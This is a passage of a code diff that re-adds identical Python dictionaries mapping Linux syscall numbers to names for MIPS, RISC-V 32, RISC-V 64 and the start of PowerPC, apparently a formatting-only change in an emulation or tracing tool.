"linkat", + 4297: "symlinkat", + 4298: "readlinkat", + 4299: "fchmodat", + 4300: "faccessat", + 4301: "pselect6", + 4302: "ppoll", + 4303: "unshare", + 4304: "splice", + 4305: "sync_file_range", + 4306: "tee", + 4307: "vmsplice", + 4308: "move_pages", + 4309: "set_robust_list", + 4310: "get_robust_list", + 4311: "kexec_load", + 4312: "getcpu", + 4313: "epoll_pwait", + 4314: "ioprio_set", + 4315: "ioprio_get", + 4316: "utimensat", + 4317: "signalfd", + 4318: "timerfd", + 4319: "eventfd", + 4320: "fallocate", + 4321: "timerfd_create", + 4322: "timerfd_gettime", + 4323: "timerfd_settime", + 4324: "signalfd4", + 4325: "eventfd2", + 4326: "epoll_create1", + 4327: "dup3", + 4328: "pipe2", + 4329: "inotify_init1", + 4330: "preadv", + 4331: "pwritev", + 4332: "rt_tgsigqueueinfo", + 4333: "perf_event_open", + 4334: "accept4", + 4335: "recvmmsg", + 4336: "fanotify_init", + 4337: "fanotify_mark", + 4338: "prlimit64", + 4339: "name_to_handle_at", + 4340: "open_by_handle_at", + 4341: "clock_adjtime", + 4342: "syncfs", + 4343: "sendmmsg", + 4344: "setns", + 4345: "process_vm_readv", + 4346: "process_vm_writev", + 4347: "kcmp", + 4348: "finit_module", + 4349: "sched_setattr", + 4350: "sched_getattr", + 4351: "renameat2", + 4352: "seccomp", + 4353: "getrandom", + 4354: "memfd_create", + 4355: "bpf", + 4356: "execveat", + 4357: "userfaultfd", + 4358: "membarrier", + 4359: "mlock2", + 4360: "copy_file_range", + 4361: "preadv2", + 4362: "pwritev2", + 4363: "pkey_mprotect", + 4364: "pkey_alloc", + 4365: "pkey_free", + 4366: "statx", + 4367: "rseq", + 4368: "io_pgetevents", + 4393: "semget", + 4394: "semctl", + 4395: "shmget", + 4396: "shmctl", + 4397: "shmat", + 4398: "shmdt", + 4399: "msgget", + 4400: "msgsnd", + 4401: "msgrcv", + 4402: "msgctl", + 4403: "clock_gettime64", + 4404: "clock_settime64", + 4405: "clock_adjtime64", + 4406: "clock_getres_time64", + 4407: "clock_nanosleep_time64", + 4408: "timer_gettime64", + 4409: "timer_settime64", + 4410: "timerfd_gettime64", + 4411: "timerfd_settime64", + 4412: "utimensat_time64", + 4413: "pselect6_time64", + 4414: "ppoll_time64", + 4416: "io_pgetevents_time64", + 4417: "recvmmsg_time64", + 4418: "mq_timedsend_time64", + 4419: "mq_timedreceive_time64", + 4420: "semtimedop_time64", + 4421: "rt_sigtimedwait_time64", + 4422: "futex_time64", + 4423: "sched_rr_get_interval_time64", + 4424: "pidfd_send_signal", + 4425: "io_uring_setup", + 4426: "io_uring_enter", + 4427: "io_uring_register", + 4428: "open_tree", + 4429: "move_mount", + 4430: "fsopen", + 4431: "fsconfig", + 4432: "fsmount", + 4433: "fspick", + 4434: "pidfd_open", + 4435: "clone3", + 4436: "close_range", + 4437: "openat2", + 4438: "pidfd_getfd", + 4439: "faccessat2", + 4440: "process_madvise", + 4441: "epoll_pwait2", + 4442: "mount_setattr", + 4443: "quotactl_fd", + 4444: "landlock_create_ruleset", + 4445: "landlock_add_rule", + 4446: "landlock_restrict_self", + 4448: "process_mrelease", } riscv32_syscall_table = { - 0: "io_setup", - 1: "io_destroy", - 2: "io_submit", - 3: "io_cancel", - 5: "setxattr", - 6: "lsetxattr", - 7: "fsetxattr", - 8: "getxattr", - 9: "lgetxattr", - 10: "fgetxattr", - 11: "listxattr", - 12: "llistxattr", - 13: "flistxattr", - 14: "removexattr", - 15: "lremovexattr", - 16: "fremovexattr", - 17: "getcwd", - 18: "lookup_dcookie", - 19: "eventfd2", - 20: "epoll_create1", - 21: "epoll_ctl", - 22: "epoll_pwait", - 23: "dup", - 24: "dup3", - 25: "fcntl", - 26: "inotify_init1", - 27: "inotify_add_watch", - 28: "inotify_rm_watch", - 29: "ioctl", - 30: "ioprio_set", - 31: "ioprio_get", - 32: "flock", - 33: "mknodat", - 34: "mkdirat", - 35: "unlinkat", - 36: "symlinkat", - 37: "linkat", - 38: "renameat", - 39: "umount2", - 40: "mount", - 41: "pivot_root", - 42: "nfsservctl", - 43: "statfs64", - 44: "fstatfs64", - 45: "truncate64", - 46: "ftruncate", - 47: "fallocate", - 48: "faccessat", - 49: "chdir", - 50: "fchdir", - 51: "chroot", - 52: "fchmod", - 53: "fchmodat", - 54: "fchownat", - 55: "fchown", - 56: "openat", - 57: "close", - 58: "vhangup", - 59: "pipe2", - 60: "quotactl", - 61: "getdents", - 62: "lseek", - 63: "read", - 64: "write", - 65: "readv", - 66: "writev", - 67: "pread", - 68: "pwrite", - 69: "preadv", - 70: "pwritev", - 71: "sendfile64", - 74: "signalfd4", - 75: "vmsplice", - 76: "splice", - 77: "tee", - 78: "readlinkat", - 79: "fstatat", - 80: "fstat", - 81: "sync", - 82: "fsync", - 83: "fdatasync", - 84: "sync_file_range", - 85: "timerfd_create", - 89: "acct", - 90: "capget", - 91: "capset", - 92: "personality", - 93: "exit", - 94: "exit_group", - 95: "waitid", - 96: "set_tid_address", - 97: "unshare", - 99: "set_robust_list", - 100: "get_robust_list", - 102: "getitimer", - 103: "setitimer", - 104: "kexec_load", - 105: "init_module", - 106: "delete_module", - 107: "timer_create", - 109: "timer_getoverrun", - 111: "timer_delete", - 113: "clock_gettime", - 116: "syslog", - 117: "ptrace", - 118: "sched_setparam", - 119: "sched_setscheduler", - 120: "sched_getscheduler", - 121: "sched_getparam", - 122: "sched_setaffinity", - 123: "sched_getaffinity", - 124: "sched_yield", - 125: "sched_get_priority_max", - 126: "sched_get_priority_min", - 128: "restart_syscall", - 129: "kill", - 130: "tkill", - 131: "tgkill", - 132: "sigaltstack", - 133: "rt_sigsuspend", - 134: "rt_sigaction", - 135: "rt_sigprocmask", - 136: "rt_sigpending", - 138: "rt_sigqueueinfo", - 139: "rt_sigreturn", - 140: "setpriority", - 141: "getpriority", - 142: "reboot", - 143: "setregid", - 144: "setgid", - 145: "setreuid", - 146: "setuid", - 147: "setresuid", - 148: "getresuid", - 149: "setresgid", - 150: "getresgid", - 151: "setfsuid", - 152: "setfsgid", - 153: "times", - 154: "setpgid", - 155: "getpgid", - 156: "getsid", - 157: "setsid", - 158: "getgroups", - 159: "setgroups", - 160: "uname", - 161: "sethostname", - 162: "setdomainname", - 163: "getrlimit", - 164: "setrlimit", - 165: "getrusage", - 166: "umask", - 167: "prctl", - 168: "getcpu", - 169: "gettimeofday", - 172: "getpid", - 173: "getppid", - 174: "getuid", - 175: "geteuid", - 176: "getgid", - 177: "getegid", - 178: "gettid", - 179: "sysinfo", - 180: "mq_open", - 181: "mq_unlink", - 184: "mq_notify", - 185: "mq_getsetattr", - 186: "msgget", - 187: "msgctl", - 188: "msgrcv", - 189: "msgsnd", - 190: "semget", - 191: "semctl", - 193: "semop", - 194: "shmget", - 195: "shmctl", - 196: "shmat", - 197: "shmdt", - 198: "socket", - 199: "socketpair", - 200: "bind", - 201: "listen", - 202: "accept", - 203: "connect", - 204: "getsockname", - 205: "getpeername", - 206: "sendto", - 207: "recvfrom", - 208: "setsockopt", - 209: "getsockopt", - 210: "shutdown", - 211: "sendmsg", - 212: "recvmsg", - 213: "readahead", - 214: "brk", - 215: "munmap", - 216: "mremap", - 217: "add_key", - 218: "request_key", - 219: "keyctl", - 220: "clone", - 221: "execve", - 222: "mmap2", - 223: "fadvise64_64", - 224: "swapon", - 225: "swapoff", - 226: "mprotect", - 227: "msync", - 228: "mlock", - 229: "munlock", - 230: "mlockall", - 231: "munlockall", - 232: "mincore", - 233: "madvise", - 234: "remap_file_pages", - 235: "mbind", - 236: "get_mempolicy", - 237: "set_mempolicy", - 238: "migrate_pages", - 239: "move_pages", - 240: "rt_tgsigqueueinfo", - 241: "perf_event_open", - 242: "accept4", - 259: "riscv_flush_icache", - 261: "prlimit64", - 262: "fanotify_init", - 263: "fanotify_mark", - 264: "name_to_handle_at", - 265: "open_by_handle_at", - 267: "syncfs", - 268: "setns", - 269: "sendmmsg", - 270: "process_vm_readv", - 271: "process_vm_writev", - 272: "kcmp", - 273: "finit_module", - 274: "sched_setattr", - 275: "sched_getattr", - 276: "renameat2", - 277: "seccomp", - 278: "getrandom", - 279: "memfd_create", - 280: "bpf", - 281: "execveat", - 282: "userfaultfd", - 283: "membarrier", - 284: "mlock2", - 285: "copy_file_range", - 286: "preadv2", - 287: "pwritev2", - 288: "pkey_mprotect", - 289: "pkey_alloc", - 290: "pkey_free", - 291: "statx", - 293: "rseq", - 294: "kexec_file_load", - 403: "clock_gettime64", - 404: "clock_settime64", - 405: "clock_adjtime64", - 406: "clock_getres_time64", - 407: "clock_nanosleep_time64", - 408: "timer_gettime64", - 409: "timer_settime64", - 410: "timerfd_gettime64", - 411: "timerfd_settime64", - 412: "utimensat_time64", - 413: "pselect6_time64", - 414: "ppoll_time64", - 416: "io_pgetevents_time64", - 417: "recvmmsg_time64", - 418: "mq_timedsend_time64", - 419: "mq_timedreceive_time64", - 420: "semtimedop_time64", - 421: "rt_sigtimedwait_time64", - 422: "futex_time64", - 423: "sched_rr_get_interval_time64", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 448: "process_mrelease", - 1024: "open", - 1025: "link", - 1026: "unlink", - 1030: "mkdir", - 1033: "access", - 1038: "stat", - 1039: "lstat", - 1062: "time", - 2011: "getmainvars", + 0: "io_setup", + 1: "io_destroy", + 2: "io_submit", + 3: "io_cancel", + 5: "setxattr", + 6: "lsetxattr", + 7: "fsetxattr", + 8: "getxattr", + 9: "lgetxattr", + 10: "fgetxattr", + 11: "listxattr", + 12: "llistxattr", + 13: "flistxattr", + 14: "removexattr", + 15: "lremovexattr", + 16: "fremovexattr", + 17: "getcwd", + 18: "lookup_dcookie", + 19: "eventfd2", + 20: "epoll_create1", + 21: "epoll_ctl", + 22: "epoll_pwait", + 23: "dup", + 24: "dup3", + 25: "fcntl", + 26: "inotify_init1", + 27: "inotify_add_watch", + 28: "inotify_rm_watch", + 29: "ioctl", + 30: "ioprio_set", + 31: "ioprio_get", + 32: "flock", + 33: "mknodat", + 34: "mkdirat", + 35: "unlinkat", + 36: "symlinkat", + 37: "linkat", + 38: "renameat", + 39: "umount2", + 40: "mount", + 41: "pivot_root", + 42: "nfsservctl", + 43: "statfs64", + 44: "fstatfs64", + 45: "truncate64", + 46: "ftruncate", + 47: "fallocate", + 48: "faccessat", + 49: "chdir", + 50: "fchdir", + 51: "chroot", + 52: "fchmod", + 53: "fchmodat", + 54: "fchownat", + 55: "fchown", + 56: "openat", + 57: "close", + 58: "vhangup", + 59: "pipe2", + 60: "quotactl", + 61: "getdents", + 62: "lseek", + 63: "read", + 64: "write", + 65: "readv", + 66: "writev", + 67: "pread", + 68: "pwrite", + 69: "preadv", + 70: "pwritev", + 71: "sendfile64", + 74: "signalfd4", + 75: "vmsplice", + 76: "splice", + 77: "tee", + 78: "readlinkat", + 79: "fstatat", + 80: "fstat", + 81: "sync", + 82: "fsync", + 83: "fdatasync", + 84: "sync_file_range", + 85: "timerfd_create", + 89: "acct", + 90: "capget", + 91: "capset", + 92: "personality", + 93: "exit", + 94: "exit_group", + 95: "waitid", + 96: "set_tid_address", + 97: "unshare", + 99: "set_robust_list", + 100: "get_robust_list", + 102: "getitimer", + 103: "setitimer", + 104: "kexec_load", + 105: "init_module", + 106: "delete_module", + 107: "timer_create", + 109: "timer_getoverrun", + 111: "timer_delete", + 113: "clock_gettime", + 116: "syslog", + 117: "ptrace", + 118: "sched_setparam", + 119: "sched_setscheduler", + 120: "sched_getscheduler", + 121: "sched_getparam", + 122: "sched_setaffinity", + 123: "sched_getaffinity", + 124: "sched_yield", + 125: "sched_get_priority_max", + 126: "sched_get_priority_min", + 128: "restart_syscall", + 129: "kill", + 130: "tkill", + 131: "tgkill", + 132: "sigaltstack", + 133: "rt_sigsuspend", + 134: "rt_sigaction", + 135: "rt_sigprocmask", + 136: "rt_sigpending", + 138: "rt_sigqueueinfo", + 139: "rt_sigreturn", + 140: "setpriority", + 141: "getpriority", + 142: "reboot", + 143: "setregid", + 144: "setgid", + 145: "setreuid", + 146: "setuid", + 147: "setresuid", + 148: "getresuid", + 149: "setresgid", + 150: "getresgid", + 151: "setfsuid", + 152: "setfsgid", + 153: "times", + 154: "setpgid", + 155: "getpgid", + 156: "getsid", + 157: "setsid", + 158: "getgroups", + 159: "setgroups", + 160: "uname", + 161: "sethostname", + 162: "setdomainname", + 163: "getrlimit", + 164: "setrlimit", + 165: "getrusage", + 166: "umask", + 167: "prctl", + 168: "getcpu", + 169: "gettimeofday", + 172: "getpid", + 173: "getppid", + 174: "getuid", + 175: "geteuid", + 176: "getgid", + 177: "getegid", + 178: "gettid", + 179: "sysinfo", + 180: "mq_open", + 181: "mq_unlink", + 184: "mq_notify", + 185: "mq_getsetattr", + 186: "msgget", + 187: "msgctl", + 188: "msgrcv", + 189: "msgsnd", + 190: "semget", + 191: "semctl", + 193: "semop", + 194: "shmget", + 195: "shmctl", + 196: "shmat", + 197: "shmdt", + 198: "socket", + 199: "socketpair", + 200: "bind", + 201: "listen", + 202: "accept", + 203: "connect", + 204: "getsockname", + 205: "getpeername", + 206: "sendto", + 207: "recvfrom", + 208: "setsockopt", + 209: "getsockopt", + 210: "shutdown", + 211: "sendmsg", + 212: "recvmsg", + 213: "readahead", + 214: "brk", + 215: "munmap", + 216: "mremap", + 217: "add_key", + 218: "request_key", + 219: "keyctl", + 220: "clone", + 221: "execve", + 222: "mmap2", + 223: "fadvise64_64", + 224: "swapon", + 225: "swapoff", + 226: "mprotect", + 227: "msync", + 228: "mlock", + 229: "munlock", + 230: "mlockall", + 231: "munlockall", + 232: "mincore", + 233: "madvise", + 234: "remap_file_pages", + 235: "mbind", + 236: "get_mempolicy", + 237: "set_mempolicy", + 238: "migrate_pages", + 239: "move_pages", + 240: "rt_tgsigqueueinfo", + 241: "perf_event_open", + 242: "accept4", + 259: "riscv_flush_icache", + 261: "prlimit64", + 262: "fanotify_init", + 263: "fanotify_mark", + 264: "name_to_handle_at", + 265: "open_by_handle_at", + 267: "syncfs", + 268: "setns", + 269: "sendmmsg", + 270: "process_vm_readv", + 271: "process_vm_writev", + 272: "kcmp", + 273: "finit_module", + 274: "sched_setattr", + 275: "sched_getattr", + 276: "renameat2", + 277: "seccomp", + 278: "getrandom", + 279: "memfd_create", + 280: "bpf", + 281: "execveat", + 282: "userfaultfd", + 283: "membarrier", + 284: "mlock2", + 285: "copy_file_range", + 286: "preadv2", + 287: "pwritev2", + 288: "pkey_mprotect", + 289: "pkey_alloc", + 290: "pkey_free", + 291: "statx", + 293: "rseq", + 294: "kexec_file_load", + 403: "clock_gettime64", + 404: "clock_settime64", + 405: "clock_adjtime64", + 406: "clock_getres_time64", + 407: "clock_nanosleep_time64", + 408: "timer_gettime64", + 409: "timer_settime64", + 410: "timerfd_gettime64", + 411: "timerfd_settime64", + 412: "utimensat_time64", + 413: "pselect6_time64", + 414: "ppoll_time64", + 416: "io_pgetevents_time64", + 417: "recvmmsg_time64", + 418: "mq_timedsend_time64", + 419: "mq_timedreceive_time64", + 420: "semtimedop_time64", + 421: "rt_sigtimedwait_time64", + 422: "futex_time64", + 423: "sched_rr_get_interval_time64", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 448: "process_mrelease", + 1024: "open", + 1025: "link", + 1026: "unlink", + 1030: "mkdir", + 1033: "access", + 1038: "stat", + 1039: "lstat", + 1062: "time", + 2011: "getmainvars", } riscv64_syscall_table = { - 0: "io_setup", - 1: "io_destroy", - 2: "io_submit", - 3: "io_cancel", - 4: "io_getevents", - 5: "setxattr", - 6: "lsetxattr", - 7: "fsetxattr", - 8: "getxattr", - 9: "lgetxattr", - 10: "fgetxattr", - 11: "listxattr", - 12: "llistxattr", - 13: "flistxattr", - 14: "removexattr", - 15: "lremovexattr", - 16: "fremovexattr", - 17: "getcwd", - 18: "lookup_dcookie", - 19: "eventfd2", - 20: "epoll_create1", - 21: "epoll_ctl", - 22: "epoll_pwait", - 23: "dup", - 24: "dup3", - 25: "fcntl", - 26: "inotify_init1", - 27: "inotify_add_watch", - 28: "inotify_rm_watch", - 29: "ioctl", - 30: "ioprio_set", - 31: "ioprio_get", - 32: "flock", - 33: "mknodat", - 34: "mkdirat", - 35: "unlinkat", - 36: "symlinkat", - 37: "linkat", - 39: "umount2", - 40: "mount", - 41: "pivot_root", - 42: "nfsservctl", - 43: "statfs", - 44: "fstatfs", - 45: "truncate", - 46: "ftruncate", - 47: "fallocate", - 48: "faccessat", - 49: "chdir", - 50: "fchdir", - 51: "chroot", - 52: "fchmod", - 53: "fchmodat", - 54: "fchownat", - 55: "fchown", - 56: "openat", - 57: "close", - 58: "vhangup", - 59: "pipe2", - 60: "quotactl", - 61: "getdents64", - 62: "lseek", - 63: "read", - 64: "write", - 65: "readv", - 66: "writev", - 67: "pread64", - 68: "pwrite64", - 69: "preadv", - 70: "pwritev", - 71: "sendfile", - 72: "pselect6", - 73: "ppoll", - 74: "signalfd4", - 75: "vmsplice", - 76: "splice", - 77: "tee", - 78: "readlinkat", - 79: "newfstatat", - 80: "fstat", - 81: "sync", - 82: "fsync", - 83: "fdatasync", - 84: "sync_file_range", - 85: "timerfd_create", - 86: "timerfd_settime", - 87: "timerfd_gettime", - 88: "utimensat", - 89: "acct", - 90: "capget", - 91: "capset", - 92: "personality", - 93: "exit", - 94: "exit_group", - 95: "waitid", - 96: "set_tid_address", - 97: "unshare", - 98: "futex", - 99: "set_robust_list", - 100: "get_robust_list", - 101: "nanosleep", - 102: "getitimer", - 103: "setitimer", - 104: "kexec_load", - 105: "init_module", - 106: "delete_module", - 107: "timer_create", - 108: "timer_gettime", - 109: "timer_getoverrun", - 110: "timer_settime", - 111: "timer_delete", - 112: "clock_settime", - 113: "clock_gettime", - 114: "clock_getres", - 115: "clock_nanosleep", - 116: "syslog", - 117: "ptrace", - 118: "sched_setparam", - 119: "sched_setscheduler", - 120: "sched_getscheduler", - 121: "sched_getparam", - 122: "sched_setaffinity", - 123: "sched_getaffinity", - 124: "sched_yield", - 125: "sched_get_priority_max", - 126: "sched_get_priority_min", - 127: "sched_rr_get_interval", - 128: "restart_syscall", - 129: "kill", - 130: "tkill", - 131: "tgkill", - 132: "sigaltstack", - 133: "rt_sigsuspend", - 134: "rt_sigaction", - 135: "rt_sigprocmask", - 136: "rt_sigpending", - 137: "rt_sigtimedwait", - 138: "rt_sigqueueinfo", - 139: "rt_sigreturn", - 140: "setpriority", - 141: "getpriority", - 142: "reboot", - 143: "setregid", - 144: "setgid", - 145: "setreuid", - 146: "setuid", - 147: "setresuid", - 148: "getresuid", - 149: "setresgid", - 150: "getresgid", - 151: "setfsuid", - 152: "setfsgid", - 153: "times", - 154: "setpgid", - 155: "getpgid", - 156: "getsid", - 157: "setsid", - 158: "getgroups", - 159: "setgroups", - 160: "uname", - 161: "sethostname", - 162: "setdomainname", - 163: "getrlimit", - 164: "setrlimit", - 165: "getrusage", - 166: "umask", - 167: "prctl", - 168: "getcpu", - 169: "gettimeofday", - 170: "settimeofday", - 171: "adjtimex", - 172: "getpid", - 173: "getppid", - 174: "getuid", - 175: "geteuid", - 176: "getgid", - 177: "getegid", - 178: "gettid", - 179: "sysinfo", - 180: "mq_open", - 181: "mq_unlink", - 182: "mq_timedsend", - 183: "mq_timedreceive", - 184: "mq_notify", - 185: "mq_getsetattr", - 186: "msgget", - 187: "msgctl", - 188: "msgrcv", - 189: "msgsnd", - 190: "semget", - 191: "semctl", - 192: "semtimedop", - 193: "semop", - 194: "shmget", - 195: "shmctl", - 196: "shmat", - 197: "shmdt", - 198: "socket", - 199: "socketpair", - 200: "bind", - 201: "listen", - 202: "accept", - 203: "connect", - 204: "getsockname", - 205: "getpeername", - 206: "sendto", - 207: "recvfrom", - 208: "setsockopt", - 209: "getsockopt", - 210: "shutdown", - 211: "sendmsg", - 212: "recvmsg", - 213: "readahead", - 214: "brk", - 215: "munmap", - 216: "mremap", - 217: "add_key", - 218: "request_key", - 219: "keyctl", - 220: "clone", - 221: "execve", - 222: "mmap", - 223: "fadvise64", - 224: "swapon", - 225: "swapoff", - 226: "mprotect", - 227: "msync", - 228: "mlock", - 229: "munlock", - 230: "mlockall", - 231: "munlockall", - 232: "mincore", - 233: "madvise", - 234: "remap_file_pages", - 235: "mbind", - 236: "get_mempolicy", - 237: "set_mempolicy", - 238: "migrate_pages", - 239: "move_pages", - 240: "rt_tgsigqueueinfo", - 241: "perf_event_open", - 242: "accept4", - 243: "recvmmsg", - 259: "riscv_flush_icache", - 260: "wait4", - 261: "prlimit64", - 262: "fanotify_init", - 263: "fanotify_mark", - 264: "name_to_handle_at", - 265: "open_by_handle_at", - 266: "clock_adjtime", - 267: "syncfs", - 268: "setns", - 269: "sendmmsg", - 270: "process_vm_readv", - 271: "process_vm_writev", - 272: "kcmp", - 273: "finit_module", - 274: "sched_setattr", - 275: "sched_getattr", - 276: "renameat2", - 277: "seccomp", - 278: "getrandom", - 279: "memfd_create", - 280: "bpf", - 281: "execveat", - 282: "userfaultfd", - 283: "membarrier", - 284: "mlock2", - 285: "copy_file_range", - 286: "preadv2", - 287: "pwritev2", - 288: "pkey_mprotect", - 289: "pkey_alloc", - 290: "pkey_free", - 291: "statx", - 292: "io_pgetevents", - 293: "rseq", - 294: "kexec_file_load", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 435: "clone3", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 448: "process_mrelease", + 0: "io_setup", + 1: "io_destroy", + 2: "io_submit", + 3: "io_cancel", + 4: "io_getevents", + 5: "setxattr", + 6: "lsetxattr", + 7: "fsetxattr", + 8: "getxattr", + 9: "lgetxattr", + 10: "fgetxattr", + 11: "listxattr", + 12: "llistxattr", + 13: "flistxattr", + 14: "removexattr", + 15: "lremovexattr", + 16: "fremovexattr", + 17: "getcwd", + 18: "lookup_dcookie", + 19: "eventfd2", + 20: "epoll_create1", + 21: "epoll_ctl", + 22: "epoll_pwait", + 23: "dup", + 24: "dup3", + 25: "fcntl", + 26: "inotify_init1", + 27: "inotify_add_watch", + 28: "inotify_rm_watch", + 29: "ioctl", + 30: "ioprio_set", + 31: "ioprio_get", + 32: "flock", + 33: "mknodat", + 34: "mkdirat", + 35: "unlinkat", + 36: "symlinkat", + 37: "linkat", + 39: "umount2", + 40: "mount", + 41: "pivot_root", + 42: "nfsservctl", + 43: "statfs", + 44: "fstatfs", + 45: "truncate", + 46: "ftruncate", + 47: "fallocate", + 48: "faccessat", + 49: "chdir", + 50: "fchdir", + 51: "chroot", + 52: "fchmod", + 53: "fchmodat", + 54: "fchownat", + 55: "fchown", + 56: "openat", + 57: "close", + 58: "vhangup", + 59: "pipe2", + 60: "quotactl", + 61: "getdents64", + 62: "lseek", + 63: "read", + 64: "write", + 65: "readv", + 66: "writev", + 67: "pread64", + 68: "pwrite64", + 69: "preadv", + 70: "pwritev", + 71: "sendfile", + 72: "pselect6", + 73: "ppoll", + 74: "signalfd4", + 75: "vmsplice", + 76: "splice", + 77: "tee", + 78: "readlinkat", + 79: "newfstatat", + 80: "fstat", + 81: "sync", + 82: "fsync", + 83: "fdatasync", + 84: "sync_file_range", + 85: "timerfd_create", + 86: "timerfd_settime", + 87: "timerfd_gettime", + 88: "utimensat", + 89: "acct", + 90: "capget", + 91: "capset", + 92: "personality", + 93: "exit", + 94: "exit_group", + 95: "waitid", + 96: "set_tid_address", + 97: "unshare", + 98: "futex", + 99: "set_robust_list", + 100: "get_robust_list", + 101: "nanosleep", + 102: "getitimer", + 103: "setitimer", + 104: "kexec_load", + 105: "init_module", + 106: "delete_module", + 107: "timer_create", + 108: "timer_gettime", + 109: "timer_getoverrun", + 110: "timer_settime", + 111: "timer_delete", + 112: "clock_settime", + 113: "clock_gettime", + 114: "clock_getres", + 115: "clock_nanosleep", + 116: "syslog", + 117: "ptrace", + 118: "sched_setparam", + 119: "sched_setscheduler", + 120: "sched_getscheduler", + 121: "sched_getparam", + 122: "sched_setaffinity", + 123: "sched_getaffinity", + 124: "sched_yield", + 125: "sched_get_priority_max", + 126: "sched_get_priority_min", + 127: "sched_rr_get_interval", + 128: "restart_syscall", + 129: "kill", + 130: "tkill", + 131: "tgkill", + 132: "sigaltstack", + 133: "rt_sigsuspend", + 134: "rt_sigaction", + 135: "rt_sigprocmask", + 136: "rt_sigpending", + 137: "rt_sigtimedwait", + 138: "rt_sigqueueinfo", + 139: "rt_sigreturn", + 140: "setpriority", + 141: "getpriority", + 142: "reboot", + 143: "setregid", + 144: "setgid", + 145: "setreuid", + 146: "setuid", + 147: "setresuid", + 148: "getresuid", + 149: "setresgid", + 150: "getresgid", + 151: "setfsuid", + 152: "setfsgid", + 153: "times", + 154: "setpgid", + 155: "getpgid", + 156: "getsid", + 157: "setsid", + 158: "getgroups", + 159: "setgroups", + 160: "uname", + 161: "sethostname", + 162: "setdomainname", + 163: "getrlimit", + 164: "setrlimit", + 165: "getrusage", + 166: "umask", + 167: "prctl", + 168: "getcpu", + 169: "gettimeofday", + 170: "settimeofday", + 171: "adjtimex", + 172: "getpid", + 173: "getppid", + 174: "getuid", + 175: "geteuid", + 176: "getgid", + 177: "getegid", + 178: "gettid", + 179: "sysinfo", + 180: "mq_open", + 181: "mq_unlink", + 182: "mq_timedsend", + 183: "mq_timedreceive", + 184: "mq_notify", + 185: "mq_getsetattr", + 186: "msgget", + 187: "msgctl", + 188: "msgrcv", + 189: "msgsnd", + 190: "semget", + 191: "semctl", + 192: "semtimedop", + 193: "semop", + 194: "shmget", + 195: "shmctl", + 196: "shmat", + 197: "shmdt", + 198: "socket", + 199: "socketpair", + 200: "bind", + 201: "listen", + 202: "accept", + 203: "connect", + 204: "getsockname", + 205: "getpeername", + 206: "sendto", + 207: "recvfrom", + 208: "setsockopt", + 209: "getsockopt", + 210: "shutdown", + 211: "sendmsg", + 212: "recvmsg", + 213: "readahead", + 214: "brk", + 215: "munmap", + 216: "mremap", + 217: "add_key", + 218: "request_key", + 219: "keyctl", + 220: "clone", + 221: "execve", + 222: "mmap", + 223: "fadvise64", + 224: "swapon", + 225: "swapoff", + 226: "mprotect", + 227: "msync", + 228: "mlock", + 229: "munlock", + 230: "mlockall", + 231: "munlockall", + 232: "mincore", + 233: "madvise", + 234: "remap_file_pages", + 235: "mbind", + 236: "get_mempolicy", + 237: "set_mempolicy", + 238: "migrate_pages", + 239: "move_pages", + 240: "rt_tgsigqueueinfo", + 241: "perf_event_open", + 242: "accept4", + 243: "recvmmsg", + 259: "riscv_flush_icache", + 260: "wait4", + 261: "prlimit64", + 262: "fanotify_init", + 263: "fanotify_mark", + 264: "name_to_handle_at", + 265: "open_by_handle_at", + 266: "clock_adjtime", + 267: "syncfs", + 268: "setns", + 269: "sendmmsg", + 270: "process_vm_readv", + 271: "process_vm_writev", + 272: "kcmp", + 273: "finit_module", + 274: "sched_setattr", + 275: "sched_getattr", + 276: "renameat2", + 277: "seccomp", + 278: "getrandom", + 279: "memfd_create", + 280: "bpf", + 281: "execveat", + 282: "userfaultfd", + 283: "membarrier", + 284: "mlock2", + 285: "copy_file_range", + 286: "preadv2", + 287: "pwritev2", + 288: "pkey_mprotect", + 289: "pkey_alloc", + 290: "pkey_free", + 291: "statx", + 292: "io_pgetevents", + 293: "rseq", + 294: "kexec_file_load", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 435: "clone3", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 448: "process_mrelease", } ppc_syscall_table = { - 0: "restart_syscall", - 1: "exit", - 2: "fork", - 3: "read", - 4: "write", - 5: "open", - 6: "close", - 7: "waitpid", - 8: "creat", - 9: "link", - 10: "unlink", - 11: "execve", - 12: "chdir", - 13: "time", - 14: "mknod", - 15: "chmod", - 16: "lchown", - 17: "break", - 18: "oldstat", - 19: "lseek", - 20: "getpid", - 21: "mount", - 22: "umount", - 23: "setuid", - 24: "getuid", - 25: "stime", - 26: "ptrace", - 27: "alarm", - 28: "oldfstat", - 29: "pause", - 30: "utime", - 31: 